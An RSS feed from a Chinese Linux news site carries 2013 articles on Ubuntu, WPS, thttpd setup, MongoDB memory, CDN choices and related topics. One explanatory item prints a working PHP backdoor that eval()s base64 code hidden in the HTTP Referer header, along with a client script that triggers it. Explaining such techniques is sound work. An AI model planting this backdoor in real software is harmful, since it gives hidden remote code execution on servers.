<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Linux Today</title>
	<atom:link href="http://www.linuxde.net/feed" rel="self" type="application/rss+xml" />
	<link>http://www.linuxde.net</link>
	<description>关注Linux应用技术、业界新闻、互联网资讯</description>
	<lastBuildDate>Fri, 17 May 2013 08:50:07 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Ubuntu再次考虑用Chromium取代Firefox</title>
		<link>http://www.linuxde.net/2013/05/13520.html</link>
		<comments>http://www.linuxde.net/2013/05/13520.html#comments</comments>
		<pubDate>Fri, 17 May 2013 07:25:27 +0000</pubDate>
		<dc:creator>天明</dc:creator>
				<category><![CDATA[新闻资讯]]></category>
		<category><![CDATA[Chromium]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.linuxde.net/?p=13520</guid>
		<description><![CDATA[Canonical开发者正在讨论用Chromium取代Firefox作为Ubuntu 13.10的默认浏览器， [...]]]></description>
				<content:encoded><![CDATA[<p>Canonical开发者正在讨论用Chromium取代Firefox作为<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/ubuntu" title="Ubuntu" target="_blank">Ubuntu</a></span> 13.10的默认<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e6%b5%8f%e8%a7%88%e5%99%a8" title="浏览器" target="_blank">浏览器</a></span>，Phoronix报导称这很有可能会发生。Canonical考虑切换到Chromium的重要理由是 Ubuntu Touch及其Web应用平台是基于Chromium/WebKit，所有的Ubuntu平台都采用相同的浏览器可以简化维护。</p>
<p>Chromium是Google Chrome浏览器的开源版本。用Chromium取代Firefox的缺点包括：扩展不能迁移，Chromium不支持PowerPC等架构，不兼容Orca屏幕阅读器，没有原生PDF插件，在内存紧张的条件下性能不佳。</p>
<p>Canonical很可能以用户体验更好的名义选择Chromium作为默认浏览器。对于Canonical的计划，有人表示支持，但也有人坚决反对。反对者认为，Google不遗余力的推销 Chrome，支持<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/html5" title="HTML5" target="_blank">HTML5</a></span> DRM，事实上Chromebook笔记本上的Chrome已经有了加密媒体扩展（EME）模块，Google曾许诺Chrome抛弃H.264力推WebM ，结果却食言，最后支持WebM的Mozilla独木难支，只能选择支持 H.264。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxde.net/2013/05/13520.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WPS for Linux Alpha10发布</title>
		<link>http://www.linuxde.net/2013/05/13518.html</link>
		<comments>http://www.linuxde.net/2013/05/13518.html#comments</comments>
		<pubDate>Fri, 17 May 2013 07:24:34 +0000</pubDate>
		<dc:creator>天明</dc:creator>
				<category><![CDATA[开源软件]]></category>
		<category><![CDATA[WPS]]></category>

		<guid isPermaLink="false">http://www.linuxde.net/?p=13518</guid>
		<description><![CDATA[新增： 全新2013界面 加入多语言机制，可根据需要设置语言 ET新增图表读取支持 ET新增TXT、CSV、P [...]]]></description>
				<content:encoded><![CDATA[<p>新增：</p>
<ul>
<li>全新2013界面</li>
<li>加入多语言机制，可根据需要设置语言</li>
<li>ET新增图表读取支持</li>
<li>ET新增TXT、CSV、PRN文件读写，支持多编码</li>
<li>ET新增XML文件读写</li>
<li>ET新增XLSX文件加解密支持</li>
<li><span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/wps" title="WPS" target="_blank">WPS</a></span>新增TXT文件读写，支持多编码</li>
</ul>
<p>
	修复：</p>
<ul>
<li>ET写XLSX文件时丢失部分自选图形填充效果</li>
<li>无法打开文件名含有反斜杠的文件</li>
<li>WPP插入特定背景音乐文件导致崩溃</li>
</ul>
<p>特殊说明：</p>
<p>WPS Office For <span class='wp_keywordlink'><a href="http://www.linuxde.net" title="Linux" target="_blank">Linux</a></span>从此次版本起提供国际化功能，为了国内外保持一致的安装包名称，我们决定将安装包名称由<br />
	wps-office 更改为 kingsoft-office，与国际版本保持一致，大家安装新版本之前请先卸载旧版本以免无法安装！</p>
<p>打包修改:</p>
<p><a href="http://wdl.cache.ijinshan.com/wps/download/Linux/unstable/kingsoft-office_9.1.0.4032~a10_i386.deb">kingsoft-office_9.1.0.4032~a10_i386.deb</a><br />
	SHA1SUM: 6744c142eaea4af06e8f7d0e0cdd6c25c973ffbb</p>
<p><a href="http://wdl.cache.ijinshan.com/wps/download/Linux/unstable/kingsoft-office-9.1.0.4032-0.1.a10.i686.rpm">kingsoft-office-9.1.0.4032-0.1.a10.i686.rpm</a><br />
	SHA1SUM: 86d8051fe55796d8a49eec32fbbdb9cf0b759827</p>
<p><a href="http://wdl.cache.ijinshan.com/wps/download/Linux/unstable/kingsoft-office_9.1.0.4032~a10_x86.tar.xz">kingsoft-office_9.1.0.4032~a10_x86.tar.xz</a><br />
	SHA1SUM: 8a71ac00c8e22fa43d75379b215038807fc4d503</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxde.net/2013/05/13518.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>thttpd轻量级web服务器(HTTP/1.1和简单的CGI支持)</title>
		<link>http://www.linuxde.net/2013/05/13516.html</link>
		<comments>http://www.linuxde.net/2013/05/13516.html#comments</comments>
		<pubDate>Fri, 17 May 2013 07:23:22 +0000</pubDate>
		<dc:creator>天明</dc:creator>
				<category><![CDATA[运维管理经验与工具]]></category>
		<category><![CDATA[thttpd]]></category>

		<guid isPermaLink="false">http://www.linuxde.net/?p=13516</guid>
		<description><![CDATA[thttpd简介 thttpd是一个非常小巧的轻量级web server，它非常非常简单，仅仅提供了HTTP/ [...]]]></description>
				<content:encoded><![CDATA[<h3 id="thttpd简介">thttpd简介</h3>
<p>thttpd是一个非常小巧的轻量级web server，它非常非常简单，仅仅提供了HTTP/1.1和简单的CGI支持,<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/nginx" title="Nginx" target="_blank">Nginx</a></span>需要支持cgi，可以安装这个轻量级的web server。</p>
<h3 id="thttpd安装">thttpd安装</h3>
<pre>cd /tmp/
wget http://acme.com/software/thttpd/thttpd-2.25b.tar.gz
tar xzf thttpd-2.25b.tar.gz
cd thttpd-2.25b/
./configure --prefix=/usr/local/thttpd
make &amp;&amp; make install</pre>
<p>可能出现的错误：</p>
<pre>htpasswd.c:52: error: conflicting types for &lsquo;getline&rsquo;</pre>
<p>解决方法：编辑htpasswd.c ，把getline替换成get_line</p>
<h3 id="thttpd配置">thttpd配置</h3>
<p>新建/usr/local/thttpd/conf/thttpd.conf文件：</p>
<pre># BEWARE : No empty lines are allowed!
# This section overrides defaults
# This section _documents_ defaults in effect
# port=80
# nosymlink # default = !chroot
# novhost
# nocgipat
# nothrottles
# host=0.0.0.0
# charset=iso-8859-1
host=127.0.0.1
port=8008
user=thttpd
logfile=/usr/local/thttpd/log/thttpd.log
pidfile=/usr/local/thttpd/log/thttpd.pid
dir=/usr/local/thttpd/www/
cgipat=**.cgi|**.pl</pre>
<h3 id="启动thttpd">启动thttpd</h3>
<pre>/usr/local/thttpd/sbin/thttpd -C /usr/local/thttpd/conf/thttpd.conf</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxde.net/2013/05/13516.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>php 字母大小写转换总结</title>
		<link>http://www.linuxde.net/2013/05/13514.html</link>
		<comments>http://www.linuxde.net/2013/05/13514.html#comments</comments>
		<pubDate>Fri, 17 May 2013 07:18:58 +0000</pubDate>
		<dc:creator>天明</dc:creator>
				<category><![CDATA[技术延伸]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.linuxde.net/?p=13514</guid>
		<description><![CDATA[1.将字符串转换成小写 strtolower(): 该函数将传入的字符串参数所有的字符都转换成小写,并以小定形 [...]]]></description>
				<content:encoded><![CDATA[<p><strong>1.将字符串转换成小写<br />
	</strong></p>
<p>strtolower(): 该函数将传入的字符串参数所有的字符都转换成小写,并以小定形式放回这个字符串</p>
<p><strong>2.将字符转成大写<br />
	</strong></p>
<p>strtoupper(): 该函数的作用同strtolower函数相反,是将传入的字符参数的字符全部转换成大写,并以大写的形式返回这个字符串.用法同strtolowe()一 样.</p>
<p><strong>3.将字符串首字符转换成大写<br />
	</strong></p>
<p>ucfirst(): 该函数的作用是将字符串的第一个字符改成大写,该函数返回首字符大写的字符串.用法同strtolowe()一样.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxde.net/2013/05/13514.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MongoDB 内存使用</title>
		<link>http://www.linuxde.net/2013/05/13512.html</link>
		<comments>http://www.linuxde.net/2013/05/13512.html#comments</comments>
		<pubDate>Fri, 17 May 2013 06:58:30 +0000</pubDate>
		<dc:creator>天明</dc:creator>
				<category><![CDATA[技术延伸]]></category>
		<category><![CDATA[mongoDB]]></category>

		<guid isPermaLink="false">http://www.linuxde.net/?p=13512</guid>
		<description><![CDATA[都说 MongoDB 是个内存大户，但是怎么知道它到底用了多少内存呢？ 先 ps 一下看看。 $ ps aux [...]]]></description>
				<content:encoded><![CDATA[<p>都说 MongoDB 是个内存大户，但是怎么知道它到底用了多少内存呢？</p>
<p>先 ps 一下看看。</p>
<pre>$ ps aux|grep mongod
mongo    26994  9.0 20.0 797264324 13243052 ?  Sl   May16 117:03 /path/to/mongodb/bin/mongod
</pre>
<p>总共 760G 多的虚拟内存，但是物理内存就只有 12.6G 。这个机器可是有 64G 内存的哦，这看起来 MongoDB 完全没用多少内存嘛。</p>
<p>再看看 free 的结果。</p>
<pre>$ free -m
             total       used       free     shared    buffers     cached
Mem:         64544      64279        265          0        134      60413
-/+ buffers/cache:       3731      60813
Swap:        31999          0      31999
</pre>
<p>内存倒是占得差不多了，基本都是 cached ，也就是<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e6%96%87%e4%bb%b6%e7%b3%bb%e7%bb%9f" title="文件系统" target="_blank">文件系统</a></span>缓存。MongoDB 是通过 mmap 方式让<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e6%93%8d%e4%bd%9c%e7%b3%bb%e7%bb%9f" title="操作系统" target="_blank">操作系统</a></span>来处理持久化和缓存的。每个数据文件都直接映射到某个虚拟内存地址。访问的时候如果这一页不在内存中，系统就会尝试把这一页加载进来。这些内存都是算进 cache 里的。在&nbsp;<a href="http://docs.mongodb.org/manual/faq/diagnostics/#how-do-i-read-memory-statistics-in-the-unix-top-command" target="_blank">mongodb 的官方文档</a>里有这样一个说法，top 或 ps 里的 RSIZE 段显示的是机器的全部内存大小，因为 mongodb 会尽可能占用全部内存。但是事实上，这些缓存并没有算在里面。因此在 top 或 ps 中是看不出 MongoDB 的实际内存使用情况的。而 free 虽然可以看到系统的内存使用情况，但是没法确定这些内存里究竟有多少真的是 MongoDB 使用的。</p>
<p>还好有人做了&nbsp;<a href="https://github.com/hoytech/vmtouch" target="_blank">vmtouch</a>&nbsp;这个工具。可以检查文件在缓存中的情况，另外也可以把文件直接加载进缓存或者踢出去。只需要对 MongoDB 的所有数据文件检查一下缓存加载情况，就可以知道 MongoDB 到底缓存了多少数据了。</p>
<pre>$ vmtouch -m4G /path/to/mongodb/data/
           Files: 256
     Directories: 3
  Resident Pages: 15465901/100219772  58G/382G  15.4%
         Elapsed: 4.072 seconds
</pre>
<p>这里 -m4G 是 vmtouch 检查的文件大小限制。MongoDB 的数据文件比较大，通常会超过默认的 500M。这样看来，缓存用了 58G，这还差不多。Resident Pages 左侧的数字是页的数量，页的数量乘以文件系统页大小才是内存使用量。页的大小可以通过</p>
<pre>getconf PAGESIZE 
</pre>
<p>查看，通常是 4096，也就是 4KB。</p>
<p>MongoDB 在 NUMA 的机器上运行，并且内存被固定到一个 node 的时候，会有一个警告</p>
<pre>WARNING: You are running on a NUMA machine. 
We suggest launching mongod like this to avoid performance problems: numactl &ndash;interleave=all mongod [other options]
</pre>
<p>也许是认为，这种情况下只能用上一个节点的内存。但 MongoDB 的缓存是由操作<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e7%b3%bb%e7%bb%9f%e7%ae%a1%e7%90%86" title="系统管理" target="_blank">系统管理</a></span>的。NUMA 似乎对此并没有影响。而内存不太小的时候 MongoDB 本身很难用掉一个节点的内存。这种情况下，是否开启 numactl &ndash;interleave=all 作用已经不大了。能做的也许只能是加内存，sharding，或者换 ssd 了。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxde.net/2013/05/13512.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ruby访问SQL Server数据库的简单配置</title>
		<link>http://www.linuxde.net/2013/05/13507.html</link>
		<comments>http://www.linuxde.net/2013/05/13507.html#comments</comments>
		<pubDate>Tue, 14 May 2013 15:32:03 +0000</pubDate>
		<dc:creator>天明</dc:creator>
				<category><![CDATA[技术延伸]]></category>
		<category><![CDATA[Ruby]]></category>

		<guid isPermaLink="false">http://www.linuxde.net/?p=13507</guid>
		<description><![CDATA[因为工作需要，要分析存放在SQL Server上的数据，所以不得不研究一下如何使用Ruby访问SQL Serv [...]]]></description>
				<content:encoded><![CDATA[<p>因为工作需要，要分析存放在SQL Server上的数据，所以不得不研究一下如何使用Ruby访问SQL Server，发现其实还是很简单的：</p>
<h2>安装FreeTDS</h2>
<p>我参考的是<a href="http://qingbo.net/picky/512-freetds-install.html" target="_blank">FreeTDS 安装</a>这个教程：</p>
<ol>
<li>下载<a href="http://mirrors.ibiblio.org/freetds/stable/" target="_blank">FreeTDS源代码</a></li>
<li>
<p>解压编译安装：</p>
<pre>./configure --prefix=/usr/local/freetds &amp;&amp; make &amp;&amp; sudo make install
</pre>
</li>
</ol>
<h2>安装Tiny_TDS</h2>
<p>我看<a href="http://qingbo.net/picky/513-mac-ruby-sql-server.html" target="_blank">Mac OS X 上 Ruby 连接 SQL Server</a>这篇文章介绍，还需要安装unixODBC，DBI，DBI-ODBC等等，安装和配置起来超麻烦，还需要配置FreeTDS，我果断的放弃了。我找到了一个新的项目<a href="https://github.com/rails-sqlserver/tiny_tds" target="_blank">Tiny_TDS</a>，安装和使用非常简单，推荐使用：</p>
<pre>sudo gem install tiny_tds -- --with-freetds-dir=/usr/local/freetds
</pre>
<p>用tiny_tds访问SQL Server很简单：</p>
<pre>require &#39;tiny_tds&#39;
client = TinyTds::Client.new(:username =&gt; &#39;fankai&#39;, :password =&gt; &#39;fankai&#39;, :host =&gt; &#39;192.168.0.1&#39;, :database =&gt; &#39;test&#39;)
result = client.execute(&quot;select top 10 * from User&quot;);
result.each do |row|
  puts row
end
</pre>
<h2>在ActiveRecord上使用Tiny_TDS</h2>
<p>这也非常简单，参考这个教程<a href="https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/wiki/Using-TinyTds" target="_blank">Using TinyTDS</a>：</p>
<pre>gem install activerecord-sqlserver-adapter
</pre>
<p>配置database.yml如下：</p>
<pre>development:
    adapter: sqlserver
    host: mydb.net
    database: myapp_development
    username: sa
    password: secret    </pre>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxde.net/2013/05/13507.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>国际空间站正用Linux取代Windows</title>
		<link>http://www.linuxde.net/2013/05/13504.html</link>
		<comments>http://www.linuxde.net/2013/05/13504.html#comments</comments>
		<pubDate>Tue, 14 May 2013 15:29:31 +0000</pubDate>
		<dc:creator>天明</dc:creator>
				<category><![CDATA[新闻资讯]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.linuxde.net/?p=13504</guid>
		<description><![CDATA[国际空间站上的数十台笔记本为宇航员提供了空间站日常运作的重要功能，如今它们正从Windows完全切换到Linu [...]]]></description>
				<content:encoded><![CDATA[<p>国际空间站上的数十台笔记本为宇航员提供了空间站日常运作的重要功能，如今它们正从Windows完全切换到<span class='wp_keywordlink'><a href="http://www.linuxde.net" title="Linux" target="_blank">Linux</a></span>。Linux基金会定制了特定课程培训宇航员如何使用Linux。</p>
<p>联合太空联盟的Keith Chuvala说，从 Windows迁移到 Linux是因为我们需要一个稳定可靠并且能根据需要打补丁和进行调整的<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e6%93%8d%e4%bd%9c%e7%b3%bb%e7%bb%9f" title="操作系统" target="_blank">操作系统</a></span>。</p>
<p>国际空间站上的多套系统已在使用Linux，如机械臂Robonaut。国际空间站上的Windows机器曾在2008年感染了病毒 W32.Gammima.AG。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxde.net/2013/05/13504.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Red Hat开源生态系统研讨会香港举行</title>
		<link>http://www.linuxde.net/2013/05/13499.html</link>
		<comments>http://www.linuxde.net/2013/05/13499.html#comments</comments>
		<pubDate>Tue, 14 May 2013 15:25:20 +0000</pubDate>
		<dc:creator>天明</dc:creator>
				<category><![CDATA[新闻资讯]]></category>
		<category><![CDATA[Red Hat]]></category>

		<guid isPermaLink="false">http://www.linuxde.net/?p=13499</guid>
		<description><![CDATA[Red Hat是全球最早将Linux包装成企业解决方案的上市公司，多年来更加是贡献最多Linux核心程式码的企 [...]]]></description>
				<content:encoded><![CDATA[<p><span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/redhat" title="Red Hat" target="_blank">Red Hat</a></span>是全球最早将<span class='wp_keywordlink'><a href="http://www.linuxde.net" title="Linux" target="_blank">Linux</a></span>包装成企业解决方案的上市公司，多年来更加是贡献最多Linux核心程式码的企业之一。Red Hat将于2013年5月31日在香港召开开源生态系统研讨会，介绍开源技术的未来发展方向和机遇。</p>
<p><img alt="" src="http://www.linuxde.net/wp-content/uploads/2013/05/1527337SN.jpg" /></p>
<p>Red Hat开源生态系统研讨会</p>
<ul>
<li>主办机构：Red Hat, ASL</li>
<li>媒体支持：Linuxpilot</li>
<li>日期：2013年5月31日（星期五）</li>
<li>时间：下午2时至5时</li>
<li>地点：香港生产力促进局1楼会议室</li>
<li>查询：852 25272878</li>
</ul>
<p>议程：</p>
<ol>
<li>2:00 - 2:15 入场注册</li>
<li>2:15 - 2:30 开幕致辞</li>
<li>2:30 - 3:00 Red Hat云端和<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e8%99%9a%e6%8b%9f%e5%8c%96" title="虚拟化" target="_blank">虚拟化</a></span>战略</li>
<li>3:00 - 3:30 JBoss企业中间件和业务规则<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e7%ae%a1%e7%90%86%e7%b3%bb%e7%bb%9f" title="管理系统" target="_blank">管理系统</a></span></li>
<li>3:30 - 3:45 休息</li>
<li>3:45 - 4:15 自动系统之Red Hat 支持服务推介</li>
<li>4:15 - 4:45 自动系统与 Red Hat 成功案例</li>
<li>4:45 - 5:00 抽奖</li>
</ol>
<p>要进行登记，请发送电子邮件至marketing@bqjournal.com电邮请注明您的姓名、职称、联络电话号码和公司名称。座位有限，登记从速。所有成功登记将被发送确认之电子邮件，立即登记有机会赢得立苹果iPad mini。</p>
<p>* 主办单位有权决定出席名单，更改活动安排和内容，恕不另行通知。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxde.net/2013/05/13499.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>一个简单的PHP后门原理分析</title>
		<link>http://www.linuxde.net/2013/05/13496.html</link>
		<comments>http://www.linuxde.net/2013/05/13496.html#comments</comments>
		<pubDate>Tue, 14 May 2013 15:19:48 +0000</pubDate>
		<dc:creator>天明</dc:creator>
				<category><![CDATA[技术延伸]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.linuxde.net/?p=13496</guid>
		<description><![CDATA[通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码，来达到后门的效果。本地测试结果如 [...]]]></description>
				<content:encoded><![CDATA[<p>通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码，来达到后门的效果。本地测试结果如下图。</p>
<p>本程序只作为学习作用，请勿拿去做坏事。</p>
<pre>&lt;?php
//1.php
header(&#39;Content-type:text/html;charset=utf-8&#39;);
parse_str($_SERVER[&#39;HTTP_REFERER&#39;], $a);
if(reset($a) == &#39;10&#39; &amp;&amp; count($a) == 9) {
   eval(base64_decode(str_replace(&quot; &quot;, &quot;+&quot;, implode(array_slice($a, 6)))));
}</pre>
<pre>&lt;?php
//2.php
header(&#39;Content-type:text/html;charset=utf-8&#39;);
//要执行的代码
$code = &lt;&lt;&lt;CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = &quot;a=10&amp;b=ab&amp;c=34&amp;d=re&amp;e=32&amp;f=km&amp;g={$code}&amp;h=&amp;i=&quot;;
//后门url
$url = &#39;http://localhost/test1/1.php&#39;;
$ch = curl_init();
$options = array(
    CURLOPT_URL =&gt; $url,
    CURLOPT_HEADER =&gt; FALSE,
    CURLOPT_RETURNTRANSFER =&gt; TRUE,
    CURLOPT_REFERER =&gt; $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);</pre>
<p><img src="http://www.linuxde.net/wp-content/uploads/2013/05/151952enZ.jpg" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxde.net/2013/05/13496.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>自建CDN技术选型: squid varnish nginx</title>
		<link>http://www.linuxde.net/2013/05/13492.html</link>
		<comments>http://www.linuxde.net/2013/05/13492.html#comments</comments>
		<pubDate>Tue, 14 May 2013 15:18:15 +0000</pubDate>
		<dc:creator>天明</dc:creator>
				<category><![CDATA[理论概念知识]]></category>
		<category><![CDATA[CDN]]></category>

		<guid isPermaLink="false">http://www.linuxde.net/?p=13492</guid>
		<description><![CDATA[CDN的全称是Content Delivery Network，即内容分发网络。其基本思路是尽可能避开互联网上 [...]]]></description>
				<content:encoded><![CDATA[<p>CDN的全称是Content Delivery Network，即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节，使内容传输的更快、更稳定。</p>
<h3>使用CDN有3个好处</h3>
<ul>
<li>优化跨ISP网络访问速度，在国内大联通和大电信之间是世界上最远的距离，在国外，中国和其他地区很平行，用cdn可以优化全球响应速度</li>
<li>节约流量成本，CDN机房都一般都放在带宽便宜的小城市，带宽成本大概是BGP机房的1/3</li>
<li>快速提升性能，对于结构复杂的系统，部署CDN可以在不改动代码段情况提升网站整体性能，立竿见影</li>
</ul>
<p>市面上有很多CDN供应商，比较著名有</p>
<ul>
<li>Akamai (全球最大)</li>
<li>chinacache</li>
<li>webluker</li>
<li>cloudflare</li>
<li>chinacache</li>
</ul>
<p>如果需要自己搭建CDN系统，有3种主流方案可以选择</p>
<ol>
<li>squid</li>
<li>varnish</li>
<li><span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/nginx" title="Nginx" target="_blank">Nginx</a></span>+memcache</li>
</ol>
<table>
<tbody>
<tr>
<th>软件</th>
<th>存储模式</th>
<th>性能</th>
<th>配置复杂度</th>
<th>purge效率</th>
<th>共享存储</th>
</tr>
</tbody>
<tbody>
<tr>
<td>squid</td>
<td>硬盘</td>
<td>较高</td>
<td>简单</td>
<td>低</td>
<td>可以并联，但是配置复杂</td>
</tr>
<tr>
<td>varnish</td>
<td>硬盘/内存</td>
<td>高</td>
<td>比较简单</td>
<td>低</td>
<td>不能</td>
</tr>
<tr>
<td>nginx</td>
<td>内存</td>
<td>高</td>
<td>需要编程</td>
<td>高</td>
<td>可以，支持一致性存储</td>
</tr>
</tbody>
</table>
<h3>典型用户</h3>
<ul>
<li>Squid&nbsp;<a href="http://www.squid-cache.org/" target="_blank">http://www.squid-cache.org</a>，大多数CDN供应商都用squid</li>
<li>varnish&nbsp;<a href="http://www.varnish-cache.org/" target="_blank">http://www.varnish-cache.org</a>,用户较少，sina微博在用</li>
<li>nginx+memcache 搜狐CDN集群,淘宝的部分业务</li>
</ul>
<h3>存储共享</h3>
<p>对于大规模网站的CDN，存储共享是个强需求。为了消除单点，不可能只使用一台CDN<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e6%9c%8d%e5%8a%a1%e5%99%a8" title="服务器" target="_blank">服务器</a></span>，如果只是简单做<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e8%b4%9f%e8%bd%bd%e5%9d%87%e8%a1%a1" title="负载均衡" target="_blank">负载均衡</a></span>，单台CDN server 上需要存储全部数据，存储利用率太低了</p>
<ul>
<li>squid支持几个实例并联，实际使用的人不多</li>
<li>varnish 只能用单实例</li>
<li>nginx+memcache 天然的<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e5%88%86%e5%b8%83%e5%bc%8f" title="分布式" target="_blank">分布式</a></span>存储</li>
</ul>
<p>当然，采用squid/varnish 也有解决办法: 需要在它们前面部署一个支持url hash的负载均衡设备(硬件，软件均可，比如说haproxy)</p>
<h3>内存存储的代价</h3>
<p>如果CDN把缓存放在内存当中，固然性能会有提升，但是当服务遭遇故障重启之后，全部数据都会丢失需要重建，这个时候</p>
<ol>
<li>会给后端应用服务器带来很大的短时压力</li>
<li>服务需要较长的时间才能完全恢复</li>
</ol>
<p>而实际运行当中，由于各种原因，CDN服务重启的概率相当高</p>
<h3>一个很悲剧的事实</h3>
<p>对动态网页使用CDN，无论squid还是varnish都不能直接用，都需定制代码。</p>
<p>例如 varnish 会判断response的header，如果发现里面有set-cookie项，它就认为这个页面不应该被缓存。对于规模庞大/OOP封装严密的网站，普通<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e7%a8%8b%e5%ba%8f%e5%91%98" title="程序员" target="_blank">程序员</a></span>根本意识不到调用哪一个fucntion会输出set-cookie，这个会导致CDN命中率急剧降低。但你也无力去对每行代码做code review，没有办法，只能去修改varnish代码了，这又引入一个新的维护成本. Squid也有这个问题</p>
<h3>purge效率</h3>
<p>purge就是CDN删除缓存项的接口，国内的UGC网站，因为严厉的内容检查制度和泛滥的垃圾广告，删帖子删图片特别频繁，某些网站可能高达40%（发100个贴，有40个帖子可能被删除或者修改)，所以对purge的效率有要求。</p>
<p>squid和varnish purge效率都达不到国内这种强度要求，nginx+memcache purge性能 要好很多</p>
<p>在当前的中国,遇到突发事件，你要不及时删除指定的链接，你的老板就可能会去拍下面这种相片</p>
<p><img alt="老板入狱拍照" src="http://www.linuxde.net/wp-content/uploads/2013/05/151816Q6b.jpg" /></p>
<p>某门户网站曾经发生过，某个链接怎么也删不掉，一慌张把CDN所有缓存都删了重启，导致内网流量瞬间暴涨，各业务线的服务器全线报警，集体骂娘。</p>
<h3>推荐CDN方案</h3>
<ol>
<li>中小型网站直接买服务就好，现在CDN已经进按需付费的<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e4%ba%91%e8%ae%a1%e7%ae%97" title="云计算" target="_blank">云计算</a></span>模式了，性价比是可以准确计算的</li>
<li>外地部署单点，推荐用squid</li>
<li>准备在公司内部实施私有云战略，推荐nginx+memcache</li>
</ol>
<h3>不建议使用varnish</h3>
<p>以前的工作中，我力主把一个CDN集群从squid迁移到varnish，持续运行了2年，就是如上感受,严重不推荐.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxde.net/2013/05/13492.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fedora 与 Ubuntu 内核比较</title>
		<link>http://www.linuxde.net/2013/05/13490.html</link>
		<comments>http://www.linuxde.net/2013/05/13490.html#comments</comments>
		<pubDate>Fri, 10 May 2013 12:07:13 +0000</pubDate>
		<dc:creator>天明</dc:creator>
				<category><![CDATA[新闻资讯]]></category>
		<category><![CDATA[Fedora]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.linuxde.net/?p=13490</guid>
		<description><![CDATA[红帽的 Josh Boyer 充满好奇心的比较了 Fedora 18 和 Ubuntu 13.04 所搭载的  [...]]]></description>
				<content:encoded><![CDATA[<p>红帽的 Josh Boyer 充满好奇心的比较了 <span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/fedora" title="Fedora" target="_blank">Fedora</a></span> 18 和 <span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/ubuntu" title="Ubuntu" target="_blank">Ubuntu</a></span> 13.04 所搭载的 Kernel 3.8 在配置上的不同，发现了一些有趣的地方。</p>
<p>注意：下文为意译</p>
<p><a href="http://jwboyer.livejournal.com/" target="_blank">Josh Boyer</a>&nbsp;分别选用当下 Fedora 18 中的 3.8.11-200.fc18 和 Ubuntu 13.04 中的 <span class='wp_keywordlink'><a href="http://www.linuxde.net" title="Linux" target="_blank">Linux</a></span>-image-3.8.0-19-generic 在 X86 64 位环境下进行比较，两者使用相同的上游内核。</p>
<h2>底层设置</h2>
